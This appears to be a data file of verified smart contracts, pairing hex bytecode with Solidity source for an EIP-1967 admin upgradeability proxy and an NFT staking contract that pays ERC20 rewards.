ffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561139157600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156113de57600080fd5b61142f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114c2826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061160482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156117ab57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561187957fe5b818303905092915050565b6000818301905082811015151561189757fe5b809050929150505600a165627a7a723058203c55c79fa2fa446b4039054dd70a7dda97f5ba853164d380b5bae296ff78d3250029
|
{"success": true, "error": null, "results": {}}
| 5,721 |
0x2999537a71db9d79587ca35033cd0fa08c3c49dd
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a264697066735822122073c4c21e5c673ed7cd3c216206991b426c7391cadd714e9a2c3f3ee94217be2b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,722 |
0xdbe964a871c51dd813a844d98a767ee2c221cefb
|
/**
*Submitted for verification at BscScan.com on 2022-02-19
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
/**
* @title ERC20 interface
* @dev see https://eips.ethereum.org/EIPS/eip-20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function burnbyContract(uint256 _amount) external;
function withdrawStakingReward(address _address,uint256 _amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://eips.ethereum.org/EIPS/eip-20
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
interface IERC721 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
contract Ownable {
address public _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/EDM.sol
contract SYAC_NFT_Staking is Ownable{
//-----------------------------------------
//Variables
using SafeMath for uint256;
IERC721 NFTToken;
IERC20 token;
//-----------------------------------------
//Structs
struct userInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 availableToWithdraw;
}
//-----------------------------------------
//Mappings
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo ) public User;
mapping(address => uint256[] ) public Tokenid;
mapping(address=>uint256) public totalStakedNft;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
uint256 time= 1 days;
uint256 lockingtime= 1 days;
uint256 public firstReward =300 ether;
//-----------------------------------------
//constructor
constructor(IERC721 _NFTToken,IERC20 _token)
{
NFTToken =_NFTToken;
token=_token;
}
//-----------------------------------------
//Stake NFTS to earn Reward in coca coin
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
require(NFTToken.ownerOf(tokenId[i]) == msg.sender,"nft not found");
NFTToken.transferFrom(msg.sender,address(this),tokenId[i]);
Tokenid[msg.sender].push(tokenId[i]);
stakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!alreadyAwarded[tokenId[i]]){
depositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User[msg.sender].totalStaked+=tokenId.length;
totalStakedNft[msg.sender]+=tokenId.length;
}
//-----------------------------------------
//check your Reward By this function
function rewardOfUser(address Add) public view returns(uint256)
{
uint256 RewardToken;
for(uint256 i = 0 ; i < Tokenid[Add].length ; i++){
if(Tokenid[Add][i] > 0)
{
if((block.timestamp>depositTime[Add][Tokenid[Add][i]]+1 days)&&!alreadyAwarded[Tokenid[Add][i]]){
RewardToken+=firstReward;
}
RewardToken += (((block.timestamp - (stakingTime[Add][Tokenid[Add][i]])).div(time)))*15 ether;
}
}
return RewardToken+User[Add].availableToWithdraw;
}
//-----------------------------------------
//Returns all NFT user staked
function userStakedNFT(address _staker)public view returns(uint256[] memory)
{
return Tokenid[_staker];
}
//-----------------------------------------
//Withdraw your reward
function WithdrawReward() public
{
uint256 reward = rewardOfUser(msg.sender);
require(reward > 0,"you don't have reward yet!");
require(token.balanceOf(address(token))>=reward,"Contract Don't have enough tokens to give reward");
token.withdrawStakingReward(msg.sender,reward);
for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
}
User[msg.sender].totlaWithdrawn += reward;
User[msg.sender].availableToWithdraw = 0;
for(uint256 i = 0 ; i < Tokenid[msg.sender].length ; i++){
alreadyAwarded[Tokenid[msg.sender][i]]=true;
}
}
//-----------------------------------------
//Get index by Value
function find(uint value) internal view returns(uint) {
uint i = 0;
while (Tokenid[msg.sender][i] != value) {
i++;
}
return i;
}
//-----------------------------------------
//User have to pass tokenID to unstake token
function unstake(uint256[] memory _tokenId) external
{
User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
for(uint256 i=0;i<_tokenId.length;i++){
if(rewardOfUser(msg.sender)>0)alreadyAwarded[_tokenId[i]]=true;
uint256 _index=find(_tokenId[i]);
require(Tokenid[msg.sender][_index] ==_tokenId[i] ,"NFT with this _tokenId not found");
NFTToken.transferFrom(address(this),msg.sender,_tokenId[i]);
delete Tokenid[msg.sender][_index];
Tokenid[msg.sender][_index]=Tokenid[msg.sender][Tokenid[msg.sender].length-1];
stakingTime[msg.sender][_tokenId[i]]=0;
Tokenid[msg.sender].pop();
}
User[msg.sender].totalStaked-=_tokenId.length;
totalStakedNft[msg.sender]>0?totalStakedNft[msg.sender]-=_tokenId.length:totalStakedNft[msg.sender]=0;
}
function isStaked(address _stakeHolder)public view returns(bool){
if(totalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
//-----------------------------------------
//Only Owner
function WithdrawToken()public onlyOwner{
require(token.transfer(msg.sender,token.balanceOf(address(this))),"Token transfer Error!");
}
function changeFirstReward(uint256 _reward)external onlyOwner{
firstReward=_reward;
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638da5cb5b116100a2578063c241f39711610071578063c241f3971461030a578063cc1d08d41461033a578063e449f3411461036a578063f2450ece14610386578063f2fde38b1461039057610116565b80638da5cb5b1461026e57806397e17cd71461028c578063a911941c146102bc578063b2bdfa7b146102ec57610116565b806352cac94d116100e957806352cac94d146101a65780636177fd18146101c257806361f9181f146101f257806370b68cf614610222578063799324751461023e57610116565b8063230eb9c61461011b5780632c07f74f1461014e5780632e23dc8f1461015857806340376ba214610176575b600080fd5b61013560048036038101906101309190611e2b565b6103ac565b60405161014594939291906122ef565b60405180910390f35b6101566103dc565b005b61016061086d565b60405161016d91906122d4565b60405180910390f35b610190600480360381019061018b9190611e2b565b610873565b60405161019d91906121b7565b60405180910390f35b6101c060048036038101906101bb9190611f3b565b61090a565b005b6101dc60048036038101906101d79190611e2b565b6109a2565b6040516101e991906121d9565b60405180910390f35b61020c60048036038101906102079190611e85565b6109fe565b60405161021991906122d4565b60405180910390f35b61023c60048036038101906102379190611ec5565b610a23565b005b61025860048036038101906102539190611f3b565b610e72565b60405161026591906121d9565b60405180910390f35b610276610e92565b604051610283919061213c565b60405180910390f35b6102a660048036038101906102a19190611e2b565b610ebb565b6040516102b391906122d4565b60405180910390f35b6102d660048036038101906102d19190611e2b565b61121c565b6040516102e391906122d4565b60405180910390f35b6102f4611234565b604051610301919061213c565b60405180910390f35b610324600480360381019061031f9190611e85565b611258565b60405161033191906122d4565b60405180910390f35b610354600480360381019061034f9190611e85565b61127d565b60405161036191906122d4565b60405180910390f35b610384600480360381019061037f9190611ec5565b6112ae565b005b61038e611893565b005b6103aa60048036038101906103a59190611e2b565b611abb565b005b60046020528060005260406000206000915090508060000154908060010154908060020154908060030154905084565b60006103e733610ebb565b90506000811161042c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610423906121f4565b60405180910390fd5b80600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b81526004016104aa919061213c565b60206040518083038186803b1580156104c257600080fd5b505afa1580156104d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104fa9190611f68565b101561053b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610532906122b4565b60405180910390fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166361ee195533836040518363ffffffff1660e01b815260040161059892919061218e565b600060405180830381600087803b1580156105b257600080fd5b505af11580156105c6573d6000803e3d6000fd5b5050505060005b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508160ff1610156106e05742600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208460ff16815481106106b0576106af61266a565b5b906000526020600020015481526020019081526020016000208190555080806106d8906125b3565b9150506105cd565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001600082825461073391906123cf565b925050819055506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003018190555060005b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054905081101561086957600160076000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481106108265761082561266a565b5b9060005260206000200154815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108619061256a565b915050610785565b5050565b600b5481565b6060600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208054806020026020016040519081016040528092919081815260200182805480156108fe57602002820191906000526020600020905b8154815260200190600101908083116108ea575b50505050509050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098f90612294565b60405180910390fd5b80600b8190555050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156109f457600190506109f9565b600090505b919050565b6008602052816000526040600020602052806000526040600020600091509150505481565b60005b8151811015610dbd573373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e848481518110610a9757610a9661266a565b5b60200260200101516040518263ffffffff1660e01b8152600401610abb91906122d4565b60206040518083038186803b158015610ad357600080fd5b505afa158015610ae7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b0b9190611e58565b73ffffffffffffffffffffffffffffffffffffffff1614610b61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5890612234565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3330858581518110610bb457610bb361266a565b5b60200260200101516040518463ffffffff1660e01b8152600401610bda93929190612157565b600060405180830381600087803b158015610bf457600080fd5b505af1158015610c08573d6000803e3d6000fd5b50505050600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020828281518110610c5e57610c5d61266a565b5b6020026020010151908060018154018082558091505060019003906000526020600020016000909190919091505542600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610ce157610ce061266a565b5b602002602001015181526020019081526020016000208190555060076000838381518110610d1257610d1161266a565b5b6020026020010151815260200190815260200160002060009054906101000a900460ff16610daa5742600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000848481518110610d8f57610d8e61266a565b5b602002602001015181526020019081526020016000